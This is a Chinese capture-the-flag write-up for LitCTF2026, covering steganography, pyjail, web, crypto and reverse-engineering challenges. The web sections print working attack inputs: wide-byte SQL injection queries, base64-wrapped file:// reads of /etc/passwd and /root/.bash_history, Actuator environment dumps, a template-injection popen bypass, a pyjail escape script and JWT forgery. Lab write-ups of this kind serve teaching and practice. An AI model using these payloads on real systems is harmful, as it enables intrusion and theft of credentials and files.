LitCTF Writeup –NinaSec

Misc

[LitCTF2026] lit_lsb_base64

1
组委会发来一张花花绿绿的 PNG,标题里写着三个字母:LSB。这和「崂山煲」可没关系——它指的是 最低有效位(Least Significant Bit) 隐写。

提示lsb,用stegsolve解决:

image-20260523124359925

有个base64,解码一下就是flag:

image-20260523124505667

flag:

1
LitCTF{lsb_1s_fun_w1th_b4s3_64}

[LitCTF2026] lit_rush_qr

题目描述:

1
附件里有一个「闪得很快」的 GIF。有人说自己好像瞥见了 二维码 的一角,但怎么也扫不出来……

gif先分解帧:

image-20260523124748568

image-20260523124808481

发现缺定位符的二维码,加两个定位符:

image-20260523124848537

然后一个一个扫就行了:

image-20260523125504987

flag:

1
LitCTF{qr_h1gh_3rr_c0r_r3c0v3ry}

[LitCTF2026] lit_sstv

题目描述:

1
你收到一段奇怪的 WAV:听起来像老式调制解调器或短波噪声。它其实不是「坏掉的音频」,而是一种把 图片编码进声音 的协议——SSTV(慢扫描电视)。

sstv题,本地不知道是不是声卡的原因,没扫出来,用在线网站:

https://sstv-decoder.mathieurenaud.fr/

image-20260523130856934

拿到flag:

1
LitCTF{sstv_p4t13nc3}

[LitCTF2026] lit_welcome

题目描述:

lsb通道里发现:

得到flag:

1
LitCTF{w3lc0m3_t0_m1sc_w0rld}

[LitCTF2026] lit_pyjail_reader

题目描述:

1
ez_jail

看源码:

1
2
3
4
5
6
7
8
9
alphabet = string.ascii_uppercase
challenge = "".join(secrets.choice(alphabet) for _ in range(8))
conn.sendall(
f"Please enter the reverse of '{challenge}' to continue: ".encode()
)
ans = recv_line(conn)
if ans != challenge[::-1]:
conn.sendall(b"Wrong reverse string. Bye.\n")
return

第一步的翻转,把字符串反转一下就行。

1
2
3
4
5
6
def safe_read(path: str) -> str:
p = path.strip()
if not p or p.startswith("-") or "\x00" in p:
raise ValueError("invalid path")
with open(p, "r", errors="replace") as f:
return f.read(MAX_FILE)

只ban了空字符串,以 - 开头,含有\x00。

然后就nc连一下:

image-20260523133431654

flag为:

1
flag{4dlsaahi-woeb-4hn-8yds-ywdqzbiackvbt}

[LitCTF2026] lit_pyjail_unicode

题目描述:

1
ezjail_2

看源码:

1
2
3
4
5
6
conn.sendall(
b"=== LitCTF pyjail unicode ===\n"
b"Send ONE line of Python. It will be eval() with full __builtins__.\n"
b"ASCII blacklist applies to your *source text* (see attachment jail.py).\n"
b"Goal: read /flag and get its str content.\n> "
)

额先看ban了什么吧:

1
2
3
4
5
6
7
8
9
10
11
12
BANNED = re.compile(
r"\bimport\b|\bexec\b|\beval\b|\bopen\b|\bcompile\b|\bglobals\b|\blocals\b|__|"
r"\bgetattr\b|\bsetattr\b|\bdelattr\b|\bvars\b|\bbreakpoint\b|\binput\b|"
r"\bsubprocess\b|\bpty\b|os\.|sys\.|\bposix\b",
re.IGNORECASE,
)


def banned(raw: str) -> bool:
if "\\u" in raw or "\\U" in raw or "\\x" in raw:
return True
return BANNED.search(raw) is not None

ban了

1
2
3
open('/flag').read()
eval('1')
__import__('os')

这题考的是unicode,所以我就尝试是全角字符:

刚好绕过了open那个被Ban的限制。

直接写个远端交互脚本吧(因为我发现把全角直接复制进命令行会报错)

image-20260523140049229

1
2
3
4
5
6
7
8
9
10
import socket

HOST = "challenge.cyclens.tech"
PORT = 31037
PAYLOAD = "open('/flag').read()\n".encode("utf-8")

with socket.create_connection((HOST, PORT)) as s:
print(s.recv(4096).decode("utf-8", "replace"), end="")
s.sendall(PAYLOAD)
print(s.recv(4096).decode("utf-8", "replace"), end="")

如果我这个脚本里的全角字符有问题,可以去https://tool.ip138.com/characterchange/把open先转换成全角然后放进脚本里。

Web

[LitCTF2026] lit_ezsql

题目描述:

1
注注注!

先尝试几个数字看看:

image-20260523140402697

image-20260523140436727

image-20260523140446534

先尝试宽字节布尔注入:

1
%df%27 or 1=1#

image-20260523142648948

OK拿到注入点了,先用 order by 探测列数:

1
1%df%27 order by 5#

image-20260523142954371

继续测:

1
1%df%27 order by 6#

image-20260523143034247

说明有5列。

开始union联合查询:

1
-1%df%27 union select 1,2,3,4,5#

image-20260523143129998

从前面可以看的出来第二列回显是最稳定的,所以用第二列来爆库名:

1
-1%df%27 union select 1,database(),3,4,5#

image-20260523143317179

爆出来一个ezsql继续爆表名:

1
-1%df%27 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()#

image-20260523143412543

爆出来flag_store了现在要查看这个表的子段了:

1
-1%df%27 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database() and table_name=0x666c61675f73746f7265#

image-20260523143517782

好了,读flag吧:

1
-1%df%27 union select 1,group_concat(id,0x3a,flag),3,4,5 from flag_store#

image-20260523143558647

flag为:

1
flag{clvtdgbg-y70k-4nj-8hjm-g1du99p3n1xxe}

[LitCTF2026] Northbridge Document Hub

题目描述:

1
2
Northbridge 文档中心接入了 kkFileView 兼容的文件预览网关。
研究员账号已开放,试着从解析缓存里找到本季度财务归档中的 flag

源码里有个js文件:

image-20260523144557188

账密就是 researcher / Research#2026

路径是 /kkfileview/getCorsFile,参数名是 urlPath

先登录:

image-20260523144720922

题目说从缓存中找flag,home界面直接明示:/opt/kkfileview/cache/parsed这个缓存目录。

接下来就要搞明白这个urlpath到底是怎么传的。

这道题其实就是“给它一个路径,它帮你取文件内容”的接口。题目又明确提到“kkFileView 兼容预览网关”和“解析缓存”,所以自然会怀疑这里存在文件读取。

根据渗透的思路,/etc/passwd能想得到,本地文件读取,当然直接用这个路径也进不去,需要做些修饰绕过一下。

file:///etc/passwd 先做 Base64,再放进 urlPath,接口就会正常返回文件内容。

也就是ZmlsZTovLy9ldGMvcGFzc3dk

访问:

1
/kkfileview/getCorsFile?urlPath=ZmlsZTovLy9ldGMvcGFzc3dk

得到一个passwd文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash

这个是为后面铺垫的,只是为了证明这个绕过有效。

虽然首页里提到了 finance_2026q1.xlsx,但直接去猜缓存中文件名不一定好猜。

既然是缓存文件,就试试:

1
file:///root/.bash_history

它的 Base64 为:

1
ZmlsZTovLy9yb290Ly5iYXNoX2hpc3Rvcnk=

就是:

1
/kkfileview/getCorsFile?urlPath=ZmlsZTovLy9yb290Ly5iYXNoX2hpc3Rvcnk=

得到:

1
2
3
4
cd /opt/kkfileview/bin
./startup.sh --cache.dir=/opt/kkfileview/cache/parsed
java -jar kkFileView.jar --cache.dir=/opt/kkfileview/cache/parsed --forceUpdatedCache=true
cp /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip /tmp/q1_finance_report_2026.zip

前面那些路径说实话猜出来的路径,只不过比较常见,也是试出来可读罢了。

好的,这个暴露出来:我们要找的财务归档文件是 q1_finance_report_2026.zip

它就放在 /opt/kkfileview/cache/parsed/

继续:

1
file:///opt/kkfileview/cache/parsed/q1_finance_report_2026.zip
1
ZmlsZTovLy9vcHQva2tmaWxldmlldy9jYWNoZS9wYXJzZWQvcTFfZmluYW5jZV9yZXBvcnRfMjAyNi56aXA=
1
/getCorsFile?urlPath=ZmlsZTovLy9vcHQva2tmaWxldmlldy9jYWNoZS9wYXJzZWQvcTFfZmluYW5jZV9yZXBvcnRfMjAyNi56aXA=

拿到一个压缩包,拿到flag:

image-20260523150658691

flag为:

1
flag{3tfvqu1p-ibun-4nk-8rne-s1oj1khtnvt0g}

[LitCTF2026] 华辰企业服务运营平台

题目描述:

1
2
某客服工单系统上线后,保留了大量运维与调试能力。
你需要从系统暴露面和服务器中收集关键信息,完成权限突破并还原完整 flag

先全部点一下,登录和工作台跳到的都是登录界面

dirsearch扫一下:

image-20260523154057019

访问:/actuator

返回一堆json:

1
{"_links":{"self":{"href":"http://challenge.cyclens.tech:31171/actuator","templated":false},"beans":{"href":"http://challenge.cyclens.tech:31171/actuator/beans","templated":false},"caches":{"href":"http://challenge.cyclens.tech:31171/actuator/caches","templated":false},"caches-cache":{"href":"http://challenge.cyclens.tech:31171/actuator/caches/{cache}","templated":true},"health":{"href":"http://challenge.cyclens.tech:31171/actuator/health","templated":false},"health-path":{"href":"http://challenge.cyclens.tech:31171/actuator/health/{*path}","templated":true},"info":{"href":"http://challenge.cyclens.tech:31171/actuator/info","templated":false},"conditions":{"href":"http://challenge.cyclens.tech:31171/actuator/conditions","templated":false},"configprops":{"href":"http://challenge.cyclens.tech:31171/actuator/configprops","templated":false},"env-toMatch":{"href":"http://challenge.cyclens.tech:31171/actuator/env/{toMatch}","templated":true},"env":{"href":"http://challenge.cyclens.tech:31171/actuator/env","templated":false},"loggers":{"href":"http://challenge.cyclens.tech:31171/actuator/loggers","templated":false},"loggers-name":{"href":"http://challenge.cyclens.tech:31171/actuator/loggers/{name}","templated":true},"heapdump":{"href":"http://challenge.cyclens.tech:31171/actuator/heapdump","templated":false},"threaddump":{"href":"http://challenge.cyclens.tech:31171/actuator/threaddump","templated":false},"metrics":{"href":"http://challenge.cyclens.tech:31171/actuator/metrics","templated":false},"metrics-requiredMetricName":{"href":"http://challenge.cyclens.tech:31171/actuator/metrics/{requiredMetricName}","templated":true},"scheduledtasks":{"href":"http://challenge.cyclens.tech:31171/actuator/scheduledtasks","templated":false},"mappings":{"href":"http://challenge.cyclens.tech:31171/actuator/mappings","templated":false}}}

这道题大概就是通过 Actuator 读取敏感配置、环境变量、路由信息,甚至进一步找出权限绕过点。

访问:/actuator/env

1
{"activeProfiles":[],"propertySources":[{"name":"server.ports","properties":{"local.server.port":{"value":8080}}},{"name":"servletContextInitParams","properties":{}},{"name":"systemProperties","properties":{"java.runtime.name":{"value":"OpenJDK Runtime Environment"},"java.protocol.handler.pkgs":{"value":"org.springframework.boot.loader"},"sun.boot.library.path":{"value":"/opt/java/openjdk/lib/amd64"},"java.vm.version":{"value":"25.492-b09"},"java.vm.vendor":{"value":"Temurin"},"java.vendor.url":{"value":"https://adoptium.net/"},"path.separator":{"value":":"},"java.vm.name":{"value":"OpenJDK 64-Bit Server VM"},"file.encoding.pkg":{"value":"sun.io"},"user.country":{"value":"US"},"sun.java.launcher":{"value":"SUN_STANDARD"},"sun.os.patch.level":{"value":"unknown"},"PID":{"value":"1"},"java.vm.specification.name":{"value":"Java Virtual Machine Specification"},"user.dir":{"value":"/opt/app"},"java.runtime.version":{"value":"1.8.0_492-b09"},"java.awt.graphicsenv":{"value":"sun.awt.X11GraphicsEnvironment"},"java.endorsed.dirs":{"value":"/opt/java/openjdk/lib/endorsed"},"os.arch":{"value":"amd64"},"java.io.tmpdir":{"value":"/tmp"},"line.separator":{"value":"\n"},"java.vm.specification.vendor":{"value":"Oracle Corporation"},"os.name":{"value":"Linux"},"sun.jnu.encoding":{"value":"UTF-8"},"spring.beaninfo.ignore":{"value":"true"},"java.library.path":{"value":"/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib"},"java.specification.name":{"value":"Java Platform API Specification"},"java.class.version":{"value":"52.0"},"sun.management.compiler":{"value":"HotSpot 64-Bit Tiered Compilers"},"os.version":{"value":"7.0.2-4-pve"},"user.home":{"value":"/root"},"catalina.useNaming":{"value":"false"},"user.timezone":{"value":"Etc/UTC"},"java.awt.printerjob":{"value":"sun.print.PSPrinterJob"},"file.encoding":{"value":"UTF-8"},"java.specification.version":{"value":"1.8"},"catalina.home":{"value":"/tmp/tomcat.8080.8345083766926613318"},"java.class.path":{"value":"/opt/app/app.jar"},"user.name":{"value":"root"},"java.vm.specification.version":{"value":"1.8"},"sun.java.command":{"value":"******"},"java.home":{"value":"/opt/java/openjdk"},"sun.arch.data.model":{"value":"64"},"user.language":{"value":"en"},"java.specification.vendor":{"value":"Oracle Corporation"},"awt.toolkit":{"value":"sun.awt.X11.XToolkit"},"java.vm.info":{"value":"mixed mode"},"java.version":{"value":"1.8.0_492"},"java.ext.dirs":{"value":"/opt/java/openjdk/lib/ext:/usr/java/packages/lib/ext"},"sun.boot.class.path":{"value":"/opt/java/openjdk/lib/resources.jar:/opt/java/openjdk/lib/rt.jar:/opt/java/openjdk/lib/sunrsasign.jar:/opt/java/openjdk/lib/jsse.jar:/opt/java/openjdk/lib/jce.jar:/opt/java/openjdk/lib/charsets.jar:/opt/java/openjdk/lib/jfr.jar:/opt/java/openjdk/classes"},"java.awt.headless":{"value":"true"},"java.vendor":{"value":"Temurin"},"catalina.base":{"value":"/tmp/tomcat.8080.8345083766926613318"},"java.specification.maintenance.version":{"value":"6"},"file.separator":{"value":"/"},"java.vendor.url.bug":{"value":"https://github.com/adoptium/adoptium-support/issues"},"sun.io.unicode.encoding":{"value":"UnicodeLittle"},"sun.cpu.endian":{"value":"little"},"sun.cpu.isalist":{"value":""}}},{"name":"systemEnvironment","properties":{"PATH":{"value":"/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","origin":"System Environment Property \"PATH\""},"KUBERNETES_PORT_443_TCP":{"value":"tcp://10.43.0.1:443","origin":"System Environment Property \"KUBERNETES_PORT_443_TCP\""},"LANGUAGE":{"value":"en_US:en","origin":"System Environment Property \"LANGUAGE\""},"KUBERNETES_PORT_443_TCP_ADDR":{"value":"10.43.0.1","origin":"System Environment Property \"KUBERNETES_PORT_443_TCP_ADDR\""},"KUBERNETES_PORT":{"value":"tcp://10.43.0.1:443","origin":"System Environment Property \"KUBERNETES_PORT\""},"CONTAINER_ENDPOINT":{"value":"challenge.cyclens.tech","origin":"System Environment Property \"CONTAINER_ENDPOINT\""},"LAB_FLAG_PART2":{"value":"r-83b0-lqfywkijejctz}","origin":"System Environment Property \"LAB_FLAG_PART2\""},"JAVA_HOME":{"value":"/opt/java/openjdk","origin":"System Environment Property \"JAVA_HOME\""},"KUBERNETES_PORT_443_TCP_PROTO":{"value":"tcp","origin":"System Environment Property \"KUBERNETES_PORT_443_TCP_PROTO\""},"FLAG":{"value":"flag{cboyej4v-zaqh-4jr-83b0-lqfywkijejctz}","origin":"System Environment Property \"FLAG\""},"KUBERNETES_SERVICE_HOST":{"value":"10.43.0.1","origin":"System Environment Property \"KUBERNETES_SERVICE_HOST\""},"LANG":{"value":"C.UTF-8","origin":"System Environment Property \"LANG\""},"KUBERNETES_SERVICE_PORT":{"value":"443","origin":"System Environment Property \"KUBERNETES_SERVICE_PORT\""},"HOSTNAME":{"value":"ce-dv2nnp0ts2ok","origin":"System Environment Property \"HOSTNAME\""},"LC_ALL":{"value":"en_US.UTF-8","origin":"System Environment Property \"LC_ALL\""},"LAB_SHIRO_KEY_B64":{"value":"R1pDVEZTaGlyb0dDTUtleQ==","origin":"System Environment Property \"LAB_SHIRO_KEY_B64\""},"LAB_SHIRO_ALG_MODE":{"value":"GCM","origin":"System Environment Property \"LAB_SHIRO_ALG_MODE\""},"CONTAINER_PORT":{"value":"31171","origin":"System Environment Property \"CONTAINER_PORT\""},"KUBERNETES_PORT_443_TCP_PORT":{"value":"443","origin":"System Environment Property \"KUBERNETES_PORT_443_TCP_PORT\""},"JAVA_VERSION":{"value":"jdk8u492-b09","origin":"System Environment Property \"JAVA_VERSION\""},"PWD":{"value":"/opt/app","origin":"System Environment Property \"PWD\""},"KUBERNETES_SERVICE_PORT_HTTPS":{"value":"443","origin":"System Environment Property \"KUBERNETES_SERVICE_PORT_HTTPS\""},"SHLVL":{"value":"0","origin":"System Environment Property \"SHLVL\""},"HOME":{"value":"/root","origin":"System Environment Property \"HOME\""}}},{"name":"applicationConfig: [classpath:/application.yml]","properties":{"server.port":{"value":8080,"origin":"class path resource [application.yml]:2:9"},"server.servlet.session.timeout":{"value":"30m","origin":"class path resource [application.yml]:5:16"},"spring.application.name":{"value":"support-center","origin":"class path resource [application.yml]:9:11"},"spring.thymeleaf.cache":{"value":false,"origin":"class path resource [application.yml]:11:12"},"lab.shiro.key-b64":{"value":"R1pDVEZTaGlyb0dDTUtleQ==","origin":"class path resource [application.yml]:15:14"},"lab.shiro.alg-mode":{"value":"GCM","origin":"class path resource [application.yml]:16:15"},"lab.flag.part2":{"value":"r-83b0-lqfywkijejctz}","origin":"class path resource [application.yml]:18:12"},"management.server.port":{"value":8080,"origin":"class path resource [application.yml]:22:11"},"management.endpoints.web.base-path":{"value":"/actuator","origin":"class path resource [application.yml]:25:18"},"management.endpoints.web.exposure.include":{"value":"*","origin":"class path resource [application.yml]:27:18"},"management.endpoints.web.exposure.exclude":{"value":"gateway,shutdown","origin":"class path resource [application.yml]:28:18"},"management.endpoint.health.show-details":{"value":"always","origin":"class path resource [application.yml]:31:21"},"management.endpoint.env.show-values":{"value":"always","origin":"class path resource [application.yml]:33:20"},"management.endpoint.configprops.show-values":{"value":"always","origin":"class path resource [application.yml]:35:20"},"management.endpoint.heapdump.enabled":{"value":true,"origin":"class path resource [application.yml]:37:16"}}}]}

好吧不扯多的了,这里面就有flag,hhh:

image-20260523154513517

flag为:

1
flag{cboyej4v-zaqh-4jr-83b0-lqfywkijejctz}

[LitCTF2026] lit_ezssti

题目描述:

1
缺什么补什么(x

先尝试几个常见的:

image-20260523154940749

image-20260523154959832

image-20260523155016585

呜呜呜不要拦我。

image-20260523155047743

image-20260523155141142

嘶居然没拦。试试Mako的代码块语法:

image-20260523155244061

OK这个不拦,去读文件(中间尝试的比较多就不赘述了):

image-20260523155358242

flag 文件就在 /flag,但是直接读会被拦:

image-20260523155510958

我们采用不写 popen(...).read(),而是改成 getattr(...,'read')(),绕过点号过滤,先在 <%! ... %> 里导入 popen

image-20260523155627711

拿到flag:

1
flag{npzfyxxr-z88c-4z1-8yi8-bs2rqdvbbidyx}

[LitCTF2026] lit_reverse_my_web

题目描述:

1
Web手也要会逆向么喵?

先注册登录一下:

image-20260523171946671

image-20260523172001712

进去后归档中心就是/flag路径:

image-20260523172043978

image-20260523172051157

image-20260523172245452

有jwt,康康:

image-20260523172344296

密钥用hashcat爆过,爆不出来,先去附件那个go文件里找点线索:

因为go文件放入IDA太庞大了,用AI梭了一下。

对话截图:

image-20260523175002248

image-20260523175021636

image-20260523175102453

对这个程序做最基础的字符串和符号检查,很快能看到一些非常有用的名字:

1
2
3
4
5
main.(*app).signJWT
main.(*app).parseToken
main.(*app).handleFlag
reverseMyWeb/internal/jwtsecret.Key
reverseMyWeb/internal/jwtsecret.encKey

这说明:

  1. 程序没有去掉 Go 符号
  2. JWT 签发、JWT 解析、/flag 处理函数都能直接定位
  3. 还存在一个专门放 JWT 密钥的模块 jwtsecret

光看这些名字,其实题目思路已经很清楚了:

  • signJWT 负责签发用户登录后的 token
  • parseToken 负责校验 token
  • jwtsecret.encKey 很可能是被“简单加密”后的签名密钥

拿一个正常用户登录后得到的 JWT,拆出前两段:

1
header.payload

再拿程序里后面恢复出来的密钥去本地重算 HMAC-SHA256,结果和站点发下来的签名完全一致。

这一步说明:

  1. 签名算法就是普通的 HS256
  2. 只要能恢复出密钥,就能百分百伪造管理员 token

定位 encKey,发现它是一个 32 字节密钥材料

运行时读内存或者静态读全局变量都能看到:reverseMyWeb/internal/jwtsecret.encKey 对应的是一段长度为 0x20 的字节数组,也就是 32 字节。

其中真正关键的 32 字节内容如下:

1
2
28 17 2d 05 68 6a 68 6c 05 36 33 2e 39 2e 3c 05
30 2d 2e 05 29 3f 39 28 3f 2e 05 31 3f 23 7b 7b

把它按字节拿出来以后,最先应该做的不是上复杂算法,而是先试最常见的轻量混淆:

  • 单字节异或
  • 加减偏移
  • 倒序
  • Base64 / Hex 编码误导

把每个字节都异或 0x5a,得到:

1
rMw_2026_litctf_jwt_secret_key!!

解密钥脚本:

1
2
3
enc = bytes.fromhex("28172d05686a686c0536332e392e3c05302d2e05293f39283f2e05313f237b7b")
key = bytes(b ^ 0x5a for b in enc)
print(key.decode()

OK,拿到密钥了就可以伪造jwt了

image-20260523174755946

把role改成admin生成新的token。

改cookie里的token拿到flag:

image-20260523174910983

flag为:

1
flag{crordl3y-ydyw-4ux-8gdx-zfuodqtk0fjqz}

Crypto

[LitCTF2026] lit_xor_two_story

题目描述:

1
某同学用 同一串随机密钥流 k 对两条长度均为 40 字节的明文做异或「流密码」加密,却忘记了一次一密的基本要求:密钥绝不能复用。

OTP密钥重用

当两条明文 M1 和 M2 使用相同的密钥流 K 加密时,密文分别为:

image-20260523151915934

如果我们计算两个密文的异或,密钥流 $K$ 会被抵消:

image-20260523151946549

已知其中一条明文 $M_2$,我们可以直接还原出 $M_1$:

image-20260523152024446

脚本:

1
2
3
4
5
6
7
8
9
10
11
c1 = bytes.fromhex("5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28")
c2 = bytes.fromhex("5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474")
m2 = b"litctf2026_xor_keystream_reuse_40bytes!!"


m1_xor_m2 = bytes(a ^ b for a, b in zip(c1, c2))


m1 = bytes(a ^ b for a, b in zip(m1_xor_m2, m2))

print(f"Flag: {m1.decode()}")

image-20260523152051005

flag:

1
litctf{otp_reuse_never_twice_same_key__}

[LitCTF2026] lit_elgamal_handshake

题目描述:

1
服务端打印了 ElGamal 私钥 x,这是一次典型的「调试产物泄露」。

ElGamal 解密原理:

然后用私钥解密即可。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import long_to_bytes


p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651
c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627
c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654
x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884


s = pow(c1, x, p)

m = (c2 * pow(s, -1, p)) % p


flag = long_to_bytes(m)
print(flag.decode())

image-20260523152509462

flag为:

1
litctf{elgamal_leak_makes_happy_decrypt}

[LitCTF2026] lit_rsa_neighbor

题目描述:

1
密钥生成脚本选了一个随机素数 p,然后对 p 连续调用多次「下一个素数」,得到 q,再令 (n=pq)。直觉上 (p) 与 (q) 仍然相差不大——这会让 费马分解 在普通笔记本上也可行。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import gmpy2
from Crypto.Util.number import long_to_bytes

n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911
c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429
e = 65537


x = gmpy2.isqrt(n) + 1
while True:
y2 = x*x - n
y = gmpy2.isqrt(y2)
if y*y == y2:
p = x - y
q = x + y
break
x += 1

print(f"分解成功: \np = {p}\nq = {q}")

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)

print(f"Flag: {long_to_bytes(m).decode()}")

image-20260523152915550

flag为:

1
litctf{rsa_fermat_finds_close_primes}

[LitCTF2026] lit_tiny_key_aes

题目描述:

1
运维政策规定 AES-128-ECB 密钥的前 13 个字节固定为可读前缀 LitCTF2026!!!,只有末尾 3 个字节由终端随机生成。密钥空间过小,不适合对抗离线枚举。

题目提供了一段 Python 加密脚本和一段 AES-128-ECB 模式加密的密文。

1
2
KEY_PREFIX = b"LitCTF2026!!!"  # 13 bytes
key = KEY_PREFIX + UNKNOWN_KEY_SUFFIX # 16 bytes

AES-128 的密钥长度为 16 字节。由于前 13 个字节被硬编码固定,真正的未知变量 UNKNOWN_KEY_SUFFIX 只有 3 个字节。

不多说了暴力破解吧。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import sys
from Crypto.Cipher import AES

c = b"\x0c\xdb'`\xc91\xf7\x05\x91+\x0fM\xed\xbc\x9b\xf1\xd8D\xcd\xfd\x0c\xb9\xb6\xb2J<\x86\x19\x06K\xb3\xa2\xa4\x18\x87<v\xac\x1bbu#\xaa\xb5I\x7f\xd8\xd3"
KEY_PREFIX = b"LitCTF2026!!!"
for i in range(16777216):

key = KEY_PREFIX + i.to_bytes(3, 'big')
cipher = AES.new(key, AES.MODE_ECB)

pt = cipher.decrypt(c)

if b"litctf" in pt.lower():

pad_len = pt[-1]
if 1 <= pad_len <= 16 and pt[-pad_len:] == bytes([pad_len]) * pad_len:
clean_pt = pt[:-pad_len]
else:
clean_pt = pt

print(f"\n[+] 爆破成功")
print(f"[+] 密钥 (Hex): {key.hex()}")
print(f"[+] Flag: {clean_pt.decode('utf-8', errors='ignore')}")

if i % 2000000 == 0 and i > 0:
print(f"[*] 进度: 已检查 {i} 个密钥...")

image-20260523153407736

flag为:

1
litctf{aes_tiny_brut3_for_the_win!}

Reverse

[LitCTF2026] lit_rc4_variant

题目描述:

1
程序实现一种 64 字节状态 的流密码式异或:初始化与 RC4 类似但模 64,且输出字节与 S[v7] + S[v10](模 256)异或——与「标准 RC4 输出 S[(S[i]+S[j])&255]」不同。密钥为 ASCII 字符串,放在 .rdata。

拖进IDA:

image-20260523153918915

前几个都是比较关键的字符串。

先看main函数:

image-20260523155842877

image-20260523155855601

输入长度29

密钥就是这个:

image-20260523160039729

image-20260523160149567

就是之前字符串里的:{=8wNrB}E7v

加密逻辑是:

1
keystream = (S[(S[i] + old_Si) & 0x3f] + S[i]) & 0xff
  • 状态数组长度是 64,所以所有下标都按 0x3f 取模
  • old_Si 指的是交换前保存下来的 S[i]
  • 最后再和明文或密文做逐字节异或

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
key = b"lit_rc4_key!"
cipher = bytes([
0x7b, 0x3d, 0x38, 0x77, 0x4e, 0x72, 0x42, 0x7d, 0x45, 0x37,
0x76, 0x0f, 0x53, 0x53, 0x4f, 0x66, 0x37, 0x17, 0x75, 0x37,
0x5f, 0x49, 0x58, 0x72, 0x74, 0x7f, 0x79, 0x1f, 0x3a
])

def crypt(data: bytes) -> bytes:
S = list(range(64))
K = [key[i % len(key)] for i in range(64)]

j = 0
for i in range(64):
j = (j + S[i] + K[i]) % 64
S[i], S[j] = S[j], S[i]

out = bytearray(data)
i = 0
j = 0
for pos in range(len(out)):
i = (i + 1) % 64
old_si = S[i]
j = (j + old_si) % 64
S[i], S[j] = S[j], S[i]
ks = (S[(S[i] + old_si) & 0x3f] + S[i]) & 0xff
out[pos] ^= ks
return bytes(out)

plain = crypt(cipher)
print(plain)
print(crypt(plain) == cipher)

image-20260523160404169

flag为:

1
LitCTF{rev05_rc4_variant_64!}

[LitCTF2026] lit_tea_standard

题目描述:

1
程序把你输入的 flag 做 PKCS#7 填充 到 8 字节倍数,再按 8 字节一块 做 标准 TEA(32 轮,delta = 0x9E3779B9),与内存中的密文逐字节比较。密钥 k[0..3] 以 4×uint32 形式存放在 .rdata。

经典tea

字符串没啥重要的直接看main函数:

image-20260523161217858

image-20260523161229176

v6 = v5 & 7 是求 len mod 8v7 = v5 + 8 - v6 是把长度补到下一个 8 的倍数Buf1[v5++] = 8 - v6是把 pad 值连续写到末尾。同时要求:

1
2
if ( v7 != 32 )
goto LABEL_13;

32 字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
v8 = Buf1;
do
{
v9 = *(_DWORD *)v8;
v10 = *((_DWORD *)v8 + 1);
for ( i = 0; i != -957401312; v10 += (i + v9) ^ ((v9 >> 5) - 559038737) ^ (16 * v9 - 889275714) )
{
i -= 1640531527;
v9 += (i + v10) ^ ((v10 >> 5) - 1341448704) ^ (16 * v10 - 1591939156);
}
*(_DWORD *)v8 = v9;
*((_DWORD *)v8 + 1) = v10;
v8 += 8;
}
while ( v8 != &v13 );
  1. 每次从 v8 取两个 DWORD

  2. 每轮先更新 v9,再更新 v10

  3. 两个更新式都长成:
    ((x << 4) +/- K1) ^ (x + sum) ^ ((x >> 5) +/- K2)

  4. i 每轮变化一次,最后比较终止值

    标准的32轮tea。

    在 32 位无符号整数里:

    x - C = x + (2^32 - C)

    所以可以直接把这些减法常量还原回真正的 TEA key:

    1
    2
    3
    4
    k0 = 0x100000000 - 0x5EE31054 = 0xA11CEFAC
    k1 = 0x100000000 - 0x4FF4E200 = 0xB00B1E00
    k2 = 0x100000000 - 0x35014542 = 0xCAFEBABE
    k3 = 0x100000000 - 0x21524111 = 0xDEADBEEF

    所以:

    1
    2
    3
    4
